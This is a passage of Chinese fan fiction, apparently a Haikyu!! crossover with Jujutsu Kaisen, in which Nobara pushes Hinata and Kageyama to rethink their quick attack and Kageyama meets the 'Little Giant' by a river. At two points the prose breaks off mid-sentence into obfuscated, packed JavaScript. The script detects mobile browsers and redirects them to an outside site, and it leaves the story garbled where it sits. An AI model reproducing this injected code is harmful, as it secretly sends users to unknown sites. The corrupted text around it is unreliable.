我跟你说哦，日向。野蔷薇好像一夜没睡，将乌野高中自小巨人时期至今为止比赛的录像都看了个遍呢。” “诶？？？所、所有吗？”翔阳有点吃惊，有些比赛是不允许录像的，连他都没有资源呢。 “不，还差最后一场。”钉崎野蔷薇瞪大了眼睛，试图驱散睡意。灯光下，即使形容狼狈也丝毫无法磨灭她眼神深处的那簇无名之火：“IH，输给青叶城西的那场比赛。” 像是狂风突袭，翔阳只觉得面上受了重重一击，那些本已经被他封印的记忆忽然又像潮水般涌来。他迅速将早饭扒拉进嘴里，沉默地站了起来，椅子脚在地面摩擦发出刺耳的剐蹭声。 “日向……”谷地仁花目光担忧。 “我没事的，谷地同学。”日向翔阳声线平稳：“那场比赛对乌野来说很有意义。” “小武老师对我和影山说过，输并代表弱小，对当时的我们来说，输掉比赛更像是某种考验。天将降大任于斯人也，必先苦其心志，劳其筋骨。如果我们真的一蹶不振了，那才是真正的弱小！” “放心，我不会随便气馁的！虽然偷偷哭过……”他很害羞似的笑了笑，道：“可是冷静之后，我的心中只有一个想法，那就是——我还远远不够强！如果是小巨人的话……” “如果是小巨人，肯定会直面失败，然后靠着敏锐的观察力判断力和不服输的精神一心寻找突破的方法吧。”野蔷薇也站起来，迎着晨光勾了勾唇角：“日向，听说你很崇拜小巨人啊。” “关于小巨人的比赛录像和相关采访我全都看过了，不得不承认，有这样一位优秀的前辈珠玉在前，也难怪你会翻山越岭来乌野高中。” “‘没落的强豪’？‘飞不起来的乌鸦’？呵呵呵呵呵……”钉崎野蔷薇撩开额发，野心勃勃地说：“日向、小不点、庶民，你就看好了吧！既然我来到了乌野，那么我绝对会帮助大家，让这样的称呼在我们这一代彻底粉碎！” “我被送到这个地方，也许就是来拯救乌野的也说不定。” “钉崎，你……”日向翔阳心头狠狠一振。 他愣了半晌，还是冒死摇头吐槽：“你自恋的本事真是让我望尘莫及。” “？” “你再说一遍，我好像没有听清。” “你听错了我什么都没有说。” 19.第19章 【妈妈，展信佳。】 【今天是东京远征的第四天，天气依旧是很热的，只是比起辛苦训练的大家来说，我的劳累根本不算什么。】 【不知道是不是我的错觉，即使截止到目前为止咱们乌野还没有打赢过一场练习赛，可是我总觉得，大家的状态却是前所未有的好。感到欣慰的同时，也对自己惭愧，就好像对于队员们的担忧是一种别样的不信任。】 【对了，妈妈，野蔷薇真的很厉害。明明是队内的经理，却做着类似替补队员的工作。她总是奔波在场馆内，配合乌野的大家做各种专项特训。有了野蔷薇之后，就连日向和影山都不再缠着我抛球了。说实在的，这让我还有些不适应和“嫉妒”呢哈哈哈哈哈（笑脸）。】 【为期一周的东京远征还有三天就要结束了，你的工作还顺利吗？我和野蔷薇很快就会回家，到时候，我们去新开的那家蛋糕店买甜品吧，这里是东京的郊区，根本买不到这些，野蔷薇应该已经嘴馋很久了。】 【哦，你问我为什么知道吗？哈哈哈，悄悄跟你说，昨天分西瓜，我看见她一个人吃了半个，所以我想她一定是很爱吃甜食的。】 【请您务必照顾好自己。】 【仁花敬上。】 * 夏夜，蝉鸣。 “砰！”一声闷响，排球重重地撞在黑尾铁朗的手臂上，远远地滚到场边。又是被彻底拦截的一球。 “啊……”日向翔阳双手撑着膝盖，汗水像溪流一般从他那鲜亮的橙色短发上淌下。他大口喘着气，胸膛剧烈起伏，眼神里却燃烧着不甘的火焰。“啊啊啊可恶！又被黑尾学长拦死了……这都第几次了？” “呜呼，冷静下来小不点，不过，能不能来点新鲜的？”黑尾铁朗胜利似地挑了挑眉：“好不容易打一场三对三，总不能这么快就没力气了。” 场网另一侧，影山飞雄站直身体，脸色同样阴沉得能滴出水来。他抿紧嘴唇，那双常被形容为“王者”的锐利眼眸此刻也染上了一丝焦躁。“啊，又慢了零点一秒。你的起跳时机，还是不够精确。”他的声音冷硬，带着惯有的、不容置疑的指责意味。 “……我知道啦，不用你说。”日向并不想反驳，在影山冰冷的视线下，他只是沮丧地抓了抓头发。 最近的练习赛，“怪物速攻”这个曾经无往不利、撕裂过无数强敌防线的最强武器，似乎遇到了瓶颈。这些强豪的副攻手们，经过反复研究和实战模拟，已经开始逐渐摸到了一些规律。他们不再仅仅被超高速的配合所震慑，而是开始预判、移动、组织起更有效的多人拦网。即使日向的速度再快，影山的托球再精准，面对两人甚至三人的“高墙”，强行突破的成功率正在不可逆转地下降。 单纯的“快”，似乎已经快要触及天花板了。 “喂，还有你月岛，你那随意的动作也能叫拦网？是在跟我开玩笑吗？”影山飞雄不爽地盯着高个子的眼镜男。 月岛萤的体力已经有些跟不上了，他眉头紧蹙，喘着气道：“哼，是啊，我的拦网很差劲，那又怎样？‘王者大人’你不是自诩能靠自己一个人力挽狂澜吗？” “混蛋月岛你说什么？！” “哎，你们……额……”又内讧了。翔阳着急又无奈。 “木兔学长，黑尾学长的拦网得分已经快要超过你的扣杀得分了。”赤苇京治面无表情。 “什、什么！”木兔光太郎浑身一震：“啊啊啊这个黑尾，怎么无论做队友还是做对手都那么讨厌！” “嘿嘿。”黑尾铁朗龇牙比了个“耶”。 馆内吵吵闹闹的，一个清亮又带着几分慵懒的女声从场边响起：“喂，我说你们两个啊，‘咚’一下打过去，‘砰’一下被拦回来，这种无聊的回合要重复到什么时候啊？看得我都要睡着了。” 几人同时转头，月光下双手环胸看热闹的人果然是钉崎野蔷薇。她不知何时靠在了体育馆的门框上，乌野的黑色运动服外套随意地系在腰间，脸上带着一丝戏谑的笑容，显然已经观察了好一阵子了。 “钉崎？？？”日向翔阳皱巴着脸，“你怎么还没休息啊。” “哼，你说得倒轻松。”影山飞雄硬邦邦地回应，“对方的拦网又不是摆设。” “哦。所以‘王者大人’的解决方案就是一次次地冲上去撞墙，看看能不能偶尔碰运气拿下一分？”野蔷薇歪了歪头，语气里的调侃意味更浓了。 影山飞雄被噎了一下，日向翔阳和月岛萤幸灾乐祸般捂嘴偷笑。 放下手臂，钉崎野蔷薇慢悠悠地走进场地，捡起脚边的排球在手里掂量着。“你们俩的速攻我见识过很多回了，确实够快，这点毋庸置疑。但是啊，我看来看去就只想说两个字——无聊！”她话锋一转，“排球可不仅仅是只有速度的直线竞速赛，而是更像格斗技或者组合技吧？” “格斗技？组合技？”日向和影山同时露出了疑惑的表情。 “没错。”钉崎走到网前，用手指轻轻弹了一下球网，“格斗里，一味猛冲猛打只会被对手抓住破绽反击。真正的高手，需要假动作，需要节奏变化，需要虚实结合，引诱对手露出破绽，然后一击必杀。”她看向日向和影阳，“你们的‘怪物速攻’，现在就像一套威力巨大却直来直去的直拳，打多了，是个人都知道怎么格挡了。” 木兔光太郎在一旁举手：“有时候还是挺唬人的。” “正式上场比赛的时候是能依靠这种‘有时候’的吗？”野蔷薇问。 她顿了顿，看着几人若有所思却又想不太通的表情，继续抛出她的想法：“所以，为什么不试着给它加点‘生命’呢？让它多些假动作。” “假动作……在快攻里？”日向翔阳眨巴着眼睛，一脸困惑，“在空中击球的速度那么快，哪有时间做假动作啊？” 话虽如此，可翔阳游移的眼神还是出卖了他。他不是没有想过，由自己来做“怪物速攻”的主导者，可是，在那一瞬间决定球路，看穿对手攻势……日向翔阳不确定自己能不能做到。 “能不能行要做了才知道。”影山飞雄望了日向翔阳一眼，没直接提出反对，可是话里话外尽是反对，“不过，假动作必须由我来做，你只要老老实实将我传给你的球用力扣在对方的场地就好。” “额……”日向翔阳撇了撇嘴，他就知道影山这家伙没那么信任他。 “喂喂喂，影山，你觉得你的队友都是没有能耐，只能依靠你来取胜的家伙们吗？”钉崎野蔷薇冷哼了一声，“虽然我加入乌野的时间不久，不过我倒是能看出来，你不见得是队内最强大的，却肯定是最傲慢的。” “你很厉害，可是你并不强大。”她淡淡地说。 馆内几人尚未来得及思索这句话的深意，灰羽列夫已经大刺刺地推门闯了进来。 “啊，狡猾！队长！我也想打三对三啊！”他指着黑尾铁朗叫道。 “列夫？”黑尾沉默片刻，不知道从哪里掏出手机来：“莫西莫西，夜久吗？啊，对，列夫逃到B馆来了，没错没错……嗯嗯！” 挂了电话，夜久卫辅很快杀了进来：“列夫！！！跟我回去夜训！我要罚你做一百个鱼跃接球！”他怒气冲冲。 “……” 小插曲过后，日向翔阳的眼睛却亮了起来。大家都在针对薄弱点特训，他也不能再墨守成规。 “钉崎，我该怎么做？”他问。 “喂！你没听见我刚刚说的吗？”影山飞雄提高了音量。 “啊啦啊啦，又来了，球场上的王者大人……”月岛萤不屑地笑了笑。 “呦，独占欲这么强？不想让别人碰你的‘专属武器’？”黑尾铁朗邪笑着搭上影山飞雄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16307329|179915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的肩膀，不顾对方满脸的别扭，只道：“你和日向的速攻，是需要你们两个人才能做到的艺术品，并不是你一个人的。这一点，你认可的吧。” “但是啊，影山，”黑尾的表情会变得严肃一些，“艺术品如果一成不变，是会被对手看穿和击碎的。” “如果日向只能依赖你的托球才能起飞，那么一旦你被封锁，或者传球手感不好，你们的攻击就会彻底成为笑话。这真的是你想要的吗？” 影山飞雄沉默下来。 钉崎野蔷薇接过话茬：“真正的强大，不是拥有一个别人无法复制的武器，而是拥有无数种武器，并且每一种都在不断进化。日向想要自己掌握速攻，不是为了摆脱你，而是为了让你们的武器库变得更丰富。” “听着影山！‘王牌’就是应该要这样才对啊！”木兔光太郎用力拍着自己的胸口，“赤苇给我的托球是世界第一的！但是，这并不意味着我只能打他的托球！” “一个好的攻手，就是要能打下各种二传传来的球！无论好坏，都应该有能力自己处理！这样才能成为在任何情况下都可以得分的‘王牌’！日向他现在就是想成为这样的‘王牌’啊！这不是超棒的吗？！你应该为他高兴才对！” 他一边说着，一边将长臂直直指向赤苇京治，差点怼到他的脸上。赤苇京治已经习惯似的，冷静地后退一步。 “喔！”日向翔阳激动地跳起来。 音驹的队长和枭谷的王牌……都帮他说话！！！ “而且，”木兔凑近影山，“你不觉得吗？作为一个二传，最大的快乐不就是看着攻手把你传的球狠狠地扣下去吗？对不对赤苇！” 赤苇京治点点头：“如果日向变得更强，能打下更难的球，那你岂不是也可以给他传出更刁钻、更厉害的球了？这一定比原地踏步要有意义一百倍。” 不过……木兔学长，黑尾学长，你们两位对对手这么苦口婆心，这样真的好吗？ 他无声地叹了口气，算了，无论如何，只要他还是枭谷学园的二传手，他就会毫无保留地为木兔前辈托底。 “好了好了，点到为止，你自己也好好想一想吧。”野蔷薇见影山面色凝重，还是没有将他逼的太紧。 她打了个哈欠，摆摆手道：“总之，如果需要我配合训练，随时奉陪！不过今天就算了……电量已经不多了……” 自从失去咒力之后，她总觉得自己的能量在慢慢流逝，这种感觉让她陌生。腰间，锤子和钉子还安静地躺在那里，她试着催动它们，但依然是毫无反应。 见钉崎野蔷薇要走，月岛萤也趁机沉默地收拾起了东西。 “等等。”木兔光太郎却是一把将他拦下。 “阿月，你可不能走。”他笑得天真：“你明明有这么有优势的身高，手长腿也长的，不好好做副攻真的是可惜了。来来来来来来，我们继续！看我打破你的大漏勺拦网！hey！hey！hey！” “木兔学长，当着当事人的面说人家是‘大漏勺’，似乎有点不太礼貌。”赤苇京治将脸转向月岛萤，“抱歉，木兔学长就是这样的性子，不过他绝对没有恶意。” “啊，哦……没事……”月岛萤是真的累了，他不能理解为什么这几个人都像是无限发动的电池，丝毫没有用完的一天一般。 因为哥哥月岛明光的缘故，他讨厌这些热血笨蛋。陷入越深就越容易受伤，不仅仅是对排球，人与人之间的感情也是这样…… 思绪一旦飘远，球馆内的一切嘈杂就听不见了。 他没有理会木兔光太郎的挽留，恭顺地朝几人点了点头，而后径直踏进黑暗里，逐渐与浓重的夜色融为了一体。 一个是徒有力气没有思考的小个子，另一个是技术精湛却脾气恶臭的独裁者……哼，他才不相信“王者大人”有想通的一天。 20.第20章 第五日。 晨起有薄雾，躁郁中带着一丝寒凉。 “假动作……假动作……假动作？”日向翔阳思考着钉崎野蔷薇昨晚的话，一边闷着头往球馆内冲，一边旁若无人地模拟着真实的球场环境，手舞足蹈间，丝毫没注意前方豁然出现一堵高墙。 “啊！”灰羽列夫也吓了一跳：“不好意思啊，你太矮了，我完全没有注意到你呢。” 这话说得气人，他摸着脑袋，龇起一口白牙，没等翔阳跳脚，又接着说：“你是叫日向……对吧？虽然你个子不高，但是你们乌野的速攻超厉害的！有机会真想拦一下试试呢！” “哦？”黑尾铁朗听到这话，嘴角勾起玩味的笑容：“列夫，依我看，不如就今晚吧，你不是一直期待跟我们打三对三吗？” “啊啊啊啊啊！真的？”灰羽列夫激动坏了，他指了指自己：“我、黑尾学长，还有谁？” “把研磨叫来怎么样？”黑尾铁朗给他“派下任务”，坏笑着靠在门边，“咱们音驹对乌野。” “包在我身上！”列夫信誓旦旦。 “喂喂喂！你个鸡冠头，那我们怎么办！”木兔光太郎可不乐意了：“我还没好好教一教日向呢。” “哦！”日向翔阳蜜糖色的眸子倏尔亮起来：“要不，木兔学长也加入，咱们打一次四对四吧。” “混搭吗？有意思。”木兔点点头表示肯定：“很好日向！你偶尔也会提一些不错的建议嘛！” “可是这样的话，我们加入哪一组呢？”赤苇京治不解，“不管我跟木兔学长加入哪边，队内似乎都会多出一个二传来。” “那又怎么样，双二传也挺有意思的啊，再说了，赤苇也不一定要打二传的位置嘛。”只要能打排球，木兔光太郎简直不在乎场面到底有多乱。他冲着赤苇猥琐地挑了挑眉：“我们就加入乌野吧，我可是看不惯黑尾很久了。” 黑尾铁朗气笑了：“那么，眼镜仔加入我们这边好了，今晚三人拦网，彻底封死你这个聒噪的猫头鹰。” 路过的月岛萤：“为什么我突然就被安排了……” “跟月岛对打……跟木兔前辈做队友……好、好兴奋！！！”日向翔阳的嘴角已经咧到了天边。 他掰着手指头数数：“对面是黑尾学长、混血儿列夫、研磨和月岛……” “我们这边是，我、影山、木兔学长和赤苇学长……吗？” “不了，今晚我不跟你们打，我要去做一些特训。”影山飞雄握着饮料，语气淡淡的。“你不是想要自己控制球路吗？以你现在的水平，我是不可能同意的……你必须要学会好好处理你手中的球！这是我送到你手里的球，如果你不能完美地拿下分数，那么我不介意让你再也摸不到球。” 他顿了顿：“当然了，这不是你一个人的功课，我也会为了这个目标而努力的。” “笨蛋日向，你想变强对吧？那我就给你传更快更难更准确的球，直到你能追上、能完全掌控为止！如果你做不到，我就嘲笑你一辈子！但如果你做到了……我们就一起去打败所有人！” * “如果你做不到，我就嘲笑你一辈子~”黑尾摸着下巴念叨。 “但如果你做到了，我们就一起去打败所有人~所有人~”木兔抱着胳膊，打了个寒颤。 钉崎野蔷薇欣慰地颔首：“难得影山能说出这种话来啊，真的是长大了。” “你是孩子的妈妈吗……”赤苇无声吐槽。 “所以钉崎，你是来代替‘王者大人’的？”月岛萤哽了半晌，有些难以置信地问：“日向，咱们乌野是实在没人了吗？居然沦落到让社团经理参与训练？” “哈哈哈哈哈这不是挺好的嘛！钉崎打自由人的位置，我是主攻，日向副攻，赤苇是二传，嗯！很好的组合啊！”木兔光太郎摩挲着手掌，一副跃跃欲试的模样。 “是吗？可别说我们欺负你们哦。”黑尾铁朗摊摊手，然而牵起的嘴角还未来得及上扬，转眼便瞧见灰羽列夫灰溜溜地走进B馆。 “喂！我说列夫，研磨呢？” 列夫一抖：“那个……研磨学长说他要通关新游戏……所以今天晚上绝对绝对不要晚训……他是这样回答我的。”他有点委屈地垂下头：“研磨学长不会是嫌弃我球技烂，不愿意跟我一起打球吧。” “……”黑尾铁朗同情地拍了拍他的肩膀：“应该是的。” “真的假的啊？？？”本以为会收获安慰却意外解锁真相的灰羽列夫嚎叫着捂住自己的脸。 “那个……要不然，晚上加我一个怎么样？”田中龙之介从门前探出头来。 几人面面相觑。 “这样的话，一个是全攻击型队伍，另一个是全方位型吗？”赤苇京治思忖道：“木兔学长，这是个很好的实验。我也很想知道，究竟是不间断的强攻更有效，还是攻守兼备的队伍能走得更远。” “好、好激动！”日向翔阳一蹦三尺高。 钉崎野蔷薇勾起唇角：“那么各位，晚上见喽。” * 影山飞雄早早便起床跑步，围绕着森然高中附近的河堤绕上三大圈，回来正好能赶得上食堂的早餐。 晨雾尚未散去，连绵的山峦也在朝霞中若隐若现。 六点钟，河岸边本不该有人才对。然而今天，影山飞雄经常路过的地方却突兀地多了个席地而坐的男子。 他背对着影山，深色茂密的头发有一点长，有一点卷，有一点……邋遢。一手捧着素描本，一手拿着铅笔，看起来像是一位画家。看那相貌应当比影山年长几岁，穿着洗得发白的牛仔外套，蜷缩在草地上的模样居然有点儿娇小。 这个点？在河岸边画漫画？真是个奇怪的人。 影山撇了他几眼，没说话，只是默默做着运动后的拉伸。 然而怪人盯着他的鞋子率先开口了：“诶~你这是打排球专用的鞋子吧，哈哈哈哈，真怀念啊，让我想起了我的高中生活。” 影山飞雄愣了两秒：“哦。” 见影山有些冷漠，年轻的漫画家继续问道：“起的这么早，是在晨跑吗？你是附近哪所学校的学生？” 很像人贩子…… “我不是东京的学生，我来自仙台。”影山飞雄上下扫了对方一眼，很直接地说：“你曾经也是打排球吗？” “仙台？”漫画家一愣，随即绽开一个大大的笑容：“真巧啊，我也是仙台人哦。” 他站起身来望着影山飞雄：“怎么，你觉得我个子不高，看起来不像打过排球？告诉你哦高中生，我不仅是打排球的，而且还是主攻手呢。” “不。”影山飞雄诚实地摇摇头：“我相信你，因为我见过比你更矮小的攻手。” 说完这句话，影山便继续自顾自地做起拉伸。 漫画家好整以暇地站在原地看他拉伸，赤裸裸的目光不偏不倚地落在他健硕有力的肩胛骨和腿部肌肉上。 “看你的身型和专业的拉伸手法，你的排球造诣应该很高吧。” 不仅像人贩子，还很像变态。 影山飞雄感到轻微地不适，教养和礼节让他没有立刻露出嫌恶的神色，可阴沉的表情和周身的低气压却清清楚楚地写着：不好意思，我拒绝回答。 “哈哈哈，别误会，我可不是什么坏人哪。”青年有点尴尬，像是想到了什么，他从随身携带的背包里翻出自己的画稿给影山飞雄看。 “你瞧，我正在构思与排球有关的漫画故事呢。看到你，就让我想起了曾经的自己，一时之间有些感慨罢了。如果让你感到不快了，我真诚地向你道歉。不过，如果你愿意的话，能否跟我分享一些你打排球的经历或者你现在正遇到的困境呢，我希望可以为主角的塑造做一些故事情节的参考……啊当然，如果不愿意的话也没有关系……” 见影山飞雄依然沉默，漫画家了然地笑了笑，提起自己的背包就准备离开：“抱歉，打扰你晨练了。” “那个……请等一下。” 影山飞雄叫住他，垂眸思索片刻，道：“我可以看看你的画稿吗?” “当然。”长发青年没有意外，温和地冲他歪了歪脑袋，眯起的眼睛看起来亲切又从容。 厚厚一沓纸拿在手里，影山仔细地翻了翻。虽然只是一些简单到不行的草稿，可莫名其妙地，晨风卷起纸页翻飞的时候，一帧帧一幕幕都像放电影似的在他的脑海中成像，就好像真的在体育馆里看了一场酣畅淋漓的大赛。 “怎么样？”青年问，带着一点小心翼翼的试探。 “非常……非常厉害。”影山飞雄将画稿递还回去：“像真的比赛一样。” “是吧。”青年漫画家听罢，很自豪地笑起来，露出一点浅浅的酒窝和两颗可爱的虎牙。 “不过这一张，角度不对。”影山飞雄一本正经地指着画稿中二传手的背传动作，分析道：“主攻手距离球网还有一段距离，按照这个高度传过去的话，扣球很有可能会触网……应该再高……两度左右。” “哦？”画者凑过去，若有所思地点了点头，然后赞许地说：“没错，你说的对！哈哈哈，看来我真的是远离排球很久了，居然没有仔细思考过这一点，真是惭愧啊。” 趁着青年调整构图，影山轻咳了两声：“那个，其实我最近确实遇到一些问题，不知道该如何解决。” 也许是画稿让影山飞雄相信，眼前的青年真的曾经是个厉害的主攻手；又也许，是他初次看见这个人，就有一股莫名的亲切感…… 总之，影山想要跟他聊聊天，关于排球和队员。 “……” 晨光渐渐铺满河面，流水声跟随两人的谈话有节奏地向远处流淌。 “唔，这么说来，你和这位日向同学在初中的时候明明是对手，可上了高中却机缘巧合成为了朝夕相伴的队友吗？”青年长叹一声，感慨万分：“他就是你说的，比我还要矮小的攻手吧？不过话说……你们还真是很有缘分呢。” “嗯……是、是吧……”影山别别扭扭地应声，脸也有些微微的红，好像承认与日向翔阳关系亲密是一件很难以启齿的事情。 “日向觉得他应该掌控快攻的节奏。”影山艰难地组织语言，“但二传手才是组织进攻的核心，是灯塔！攻手应该适应传球才对……” “也就是说，日向同学想要自己决定扣球的时机和角度，让你来配合他？”青年一针见血。 影山点点头，眉头依然紧锁：“可是节奏掌控是二传的职责。如果他随意改变时机，整个进攻体系都会乱套。” 青年没有立即回答。他拿起画本，快速勾勒着什么。 “你看过鸟类捕食的慢镜头吗？”他突然问，“乌鸦从俯冲到擒获猎物，整个过程不到两秒，但在它眼中，时间流逝得足够缓慢，慢到能调整每一次羽翼的角度。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16327975|179915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 影山不明所以地看着他。 “顶级攻手就有这样的能力。”青年将画本转向影山飞雄，“在空中，时间对他们而言是不同的。他们能看到拦网的缝隙，能感觉到防守者的呼吸节奏，甚至能预判到球未来的轨迹。” 画纸上是一个攻手扣球的连续动作分解图，每个细微的调整都清晰可见。 “你所认为的‘完美托球’，在攻手眼中可能是另一回事。”青年轻声说：“虽然站在同一块场地之下，感受同样的热度，可是，对二传手而言传球是备菜，可于主攻手而言，这是一道已经出锅的美味佳肴。” “美食就眼前，一个真正的攻手不可能忍住不吃。” 影山怔住了。他从未想过这个问题——在他追求绝对精准的托球时，作为副攻手的日向翔阳究竟感受着什么？ “日向同学对你的托球有过意见吗？”青年问。 “……他偶尔说过‘再低一点’、‘再快一点’。”影山回忆。 青年突然转过身去，从鼓鼓囊囊的背包里掏出一个旧排球。皮革已经磨损，但好在球面依然圆整。 “来试试看。”他朝空地走去，“影山，你来给我托几个球吧，各种高度速度都可以。” 影山接过球，困惑地看着他：“可是……” “只是几个球而已。”青年已经站到了几米之外，做出准备起跑的姿势。 影山飞雄深吸一口气。尽管疑惑，但身体已经自动进入状态。他抛球、起跳、顺利托出一个近乎完美的快攻球。 看着拖拖拉拉的青年立刻跟着球动了起来。他的启动速度快得惊人，步伐精准，在影山指尖刚离开球的瞬间就已经腾空。击球声清脆利落，球砸在远处一棵树的树干上。 “很好的球。”青年漫画家落地转身，“但对我来说，早了一帧。” 影山瞪大眼睛：“不可能，那个时机——” “再来一个吧。”青年不苟言笑地打断他：“稍微慢一点。” 第二个球出手。这次青年在空中似乎有瞬间的迟疑，击球力度稍弱。 “这次晚了。”他摇摇头：“再来！” 第三个球，影山飞雄故意调整了节奏。击球后青年却笑了：“你在试探我吗，小家伙。” 被叫作“小家伙”，影山非常不习惯，他垂着脑袋抿嘴默认。 “唔，影山，你知道吗？”青年走回来，手指转动着球：“你的托球像手表里的机械，每个齿轮都严丝合缝。但是，排球是人与人之间的互动，不是机器运作，死水一般的流程。” “连我这样一个第一次见面的陌生人都会跟着你托来的球调整自己的动作和状态，更何况是作为队友的他呢？” 见影山飞雄发起了呆，青年冲他打了个响指：“根据你的描述，这位日向同学似乎有着惊人的弹跳力和空间敏感度，身体调整能力也很灵活，他只是习惯于依靠你，所以连自己都还没意识到自己的潜力巨大。” “如果你一意孤行，就是在剥夺他‘起飞’的权利。” 河面上的雾气已经完全消散，阳光开始变得明亮。影山沉默地看着水流，内心某种坚固的东西正在出现裂痕。意识到自己的话似乎有些逾矩了，青年打着哈哈摆手：“我就是随便说说哦，别太在意~” “您是说……我应该相信日向的判断？”影山飞雄已经对他用起了尊称。 “哈哈哈，我是说，你们也许可以试着找到第三种节奏。”青年合上画稿：“既不是完全由二传掌控，也不是完全由攻手主导的节奏。而是属于你们两个人独有的节奏，一种其他人无法跟上、无法取代的节奏。” 他重新拿起球，示意影山站到网前——事实上那里没有网，只有想象中的界线。 “闭上眼睛。”青年说：“我会告诉你什么时候出手。” 影山犹豫一瞬后照做，视野一旦陷入黑暗后，其他感官就会变得异常敏锐。他能听到河水流淌的声音，远处车辆的轰鸣，飞鸟振动翅膀的声音。 “就是现在。” 听见声音，影山凭感觉将球托出。击球声立即随之响起。 “很好，再来一球。”青年移动了位置，“不要思考，只听我的声音。” 第二个球，第三个球……渐渐地，影山发现自己能通过脚步声判断对方的位置，通过呼吸节奏感知他的起跳时机。他们开始像真正的搭档那样配合。 “什么感觉？” “……很奇怪。”影山飞雄老实回答：“不像是我平时的托球，但也不差。” “因为你不是在托球给一个概念中的‘攻手’，而是在托球给我这个人。”青年微笑着说：“每个攻手都是不同的。有人喜欢高球，有人喜欢远球；有人喜欢依赖团队，有人喜欢绝对的掌控；而我和这位日向同学……” 他顿了顿，眼神变得幽深：“我们这样的矮个子球员，最需要的是信任。” “信任？” “信任……” 这句话像一记重扣，将影山震惊地钉在了原地。 再回过神时，青年已经背着包走远了。 “前辈！请问，你叫什么名字！”影山飞雄喊出声来：“谢谢你！” “不用谢！”青年没有回头，只是耍帅般地摆摆手：“我的名字叫做宇内天满。” “在几年前的春高上，他们都叫我——” “小巨人。”